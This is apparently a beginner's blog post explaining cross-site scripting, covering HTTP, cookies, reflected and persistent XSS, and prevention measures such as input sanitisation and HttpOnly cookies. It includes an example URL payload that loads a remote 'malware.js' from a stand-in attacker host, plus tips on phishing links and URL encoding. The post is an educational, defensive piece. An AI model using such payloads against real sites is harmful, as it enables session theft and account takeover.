The web is a place that is full of security vulnerabilities, which are investigated by many companies to find new vulnerabilities each day.
Of course there are many techniques/attacks but XSS(Cross-Site Scripting) is of them.
Actually not that only it’s one of them, it’s one of the most critical ones out there.
XSS allows an attacker to alternate our web application in ways that allows him to benefit from it, in any way that he wishes.
Sounds quite frightening right?
Yeah pretty much, and in my own personal opinion, it should be known to everyone who develops a web application, because it could lead to a security flaw, that could cause a lot of problems.
Of course, I’m not expecting everyone to know about it, because today with technology as it grows, there’s too much to learn, so I hope it will help anyone out there who wishes to understand the matter.
In order to understand what is the XSS attack, we’re going to cover how a web application works end to end, understand how the attack works, and finally see the implications of it.
Before starting to read, I do recommend to read one of the posts below, because it will help understand client-server communications.
What is Javascript all about?
When we develop our web application, we usually use one of the big three which is Javascript.
Javascript is a scripting language that allows adding logic to a web app, that could be prompting dialogs, make HTTP requests, update the page, and more…
When the web app has loaded, the engine of the browser, which is responsible to render the web app, is taking our CSS, Javascript, and updates the UI accordingly to them.
The HTML page which is at the end shown to us is coming from the HTTP server we requested that HTML page from the first place.
In web applications, there is also the use of cookies.
Cookies allow us to save data on the session of the connected web app to the server.
Today many web applications (but not all) save cookies information about the user. For example his personal info and his credentials/token which allows him to do operations on our website for his own personal account.
Also, in web browsers we have the LocalStorage memory, which allows us to save data on the PC itself, and it’s accessible through keys that are configured by the web app.
Interesting… what if an attacker could have stolen those?
Well, if an attacker could have stolen them, he could simply impersonate to the one he stole the credentials from.
You might be saying… wait Ido, but we got an HTTPS connection so my HTTP requests and responses are encrypted.
I’ll respond back to you that you’re right, but listening to the network traffic is not the only way to steal that data.
SPOILER ALERT! it’s inside the web application 😉
But what if the website could have given the attacker the cookies?
You might be saying that I’m insane because why should the web application would that?
The answer is quite simple… in many great movies about moments, you see an amazing hacker does something and no one knows what happened or even that it happened, how could you have expected something to happen which in the first place is not assumed to happen?
How HTTP works
If you already familiar with HTTP you can skip this part to the next one.
This part is crucial in order to understand the following chapter.
HTTP is an application protocol that allows request and response communications for resources on the web.
It’s commonly used for web applications to retrieve HTML pages and many more resources from web servers.
As well it allows sending resources from the browser itself to the web servers, for example signup form on a website.
When we load a website we actually are making an HTTP GET request, which tells us to receive some kind of resource according to the URL.
In an HTTP request, we can put parameters inside the URL itself.
It helps us with tracking the actions the user is doing in our web app.
For example, when using a search bar and after doing the search itself, we usually(but not in all implementations) the value we searched is in the tail of the URL.
Just an example to know what we’re talking about, we will have a URL like so:
In this URL the results we receive for the search bar, just like in many other websites, the my-search-value will be the value inside that search bar.
Of course that each website implemented his own way of doing the search functionality, so this is just an example of how to do it with the URL parameters.
It’s not a bad thing, it’s actually pretty common to use the HTTP URL parameters because it also gives some kind of hierarchy to understand the format of the request while we develop our web server.
So what is actually XSS?
XSS enables attackers to inject Javascript code to our application that we built, so when other users will view our website, they will also view the injected code by the attackers.
In the end, an unwelcomed Javascript code is being executed without us knowing it.
Reflected
Remember the search bar example?
Imagine that we will take a website that has that functionality, and we insert to the URL, inside that parameter the following:
my-search-value<script src=”http://my-malicous-site.com/malware.js”></script>
So, in the end, we will have a URL as follows:
https://my-awesome-webiste/search_result?search-bar-result=my-search-value<script src=”http://my-malicous-site.com/malware.js”></script>
If someone is gonna open up that URL, what will happen is quite interesting.
The web browser, because he will see the value of the script tag, the only thing that the user will see is the “my-search-value” inside the search bar.
When the page will load, the malware.js script will be loaded as well, and it would have access to everything that the web app has because it’s now as part of the application!
Usually but not only, because there are tons of creative ways, but reflected XSS is also done by sending people a cool SMS saying they won a huge prize from some kind of organization they are inside, and a URL is included.
If the innocent victim presses that URL, what we described above could happen, and it could be just for the example, an attacker getting auth values that will allow him to access the bank account of the victim.
Another thing that could be done, is to encode the URL with ASCII values, which could be harder to read and understand that something malicious exists in the URL.
How can we prevent this?
- Any kind of input that we receive from the user, all along the way, should be sanitized in order to rest assured we don’t have anything malicious inside.
- Follow connected sessions to our website, to see if people are trying to access the same account, from multiple places or IP’s.
- Display inside the website partial data, which could be seen once entering some kind of secret or password, to prevent an attacker to see them if he got the auth credentials.
- Require users to enter credentials, which could be like 2FA or entering the username and password again. This allows us to prevent the attacker from making significant actions like bank transaction or account credentials update.
- When using cookies we can set a flag on them which is called HttpOnly.
That flag allows only the server to access those cookies and him alone.
This prevents the attacker, through his Javascript code, access the cookies that hold our auth credentials.
Persistent
This case of XSS is actually much worse than the reflected one.
In the reflected we attacked a number of victims, by sending them a malicious link or so.
Imagine you could insert some kind of a script, inside the web app database, and that data(which included Javascript code) is presented to every user who wants to see that data.
I hope your jaw is not on the floor right now, but yes as you can imagine, this case is much worse.
The way to do this is quite simple.
Let us say that the web app doesn’t sanitize or validate that the signup form doesn’t contain any <script> tags inside the username.
It could allow the attacker to put inside the username any kind of script he wants.
In the end, if other users will look up that user, the script in which the attacker is injected would be executed!
How can we prevent this?
It pretty much adds up to be the same as reflected.
The only additions that should be taken care of, is to check the input we receive from the user, to be validated and sanitized out of any malicious scripts.
By saying the input from the user, what I mean is actually taking any kind of form he could submit to our server, in order to be saved inside the database, should be sanitized out of any malicious scripts.
Conclusion
OWASP defines XSS every year to be at the top 10 attacks that should be very concerned off, because of the results it could lead to, as we saw.
XSS and many more web attacks as of today which are known, are attack vectors that many WAF(Web Application Firewalls), web applications, and web servers implementations are trying to prevent.
Of course there could be many attack vectors that are not even known yet, which are called zero-day attacks, and that’s why we should try to make our best protection from them and know what we’re dealing with.
Honest disclaimer after all, anything that regards the subject of security should be taken carefully and not messed with in any unethical manner.
Please take this piece for an academic value or enrichment for your job.
I hope you had a great time reading this piece, and if you have any more further questions I would be delighted to answer them.
Also, if you have any opinions or suggestions for improving this piece, I would like to hear 🙂
Thank you and have a great journey on your journey for knowledge! 🙂
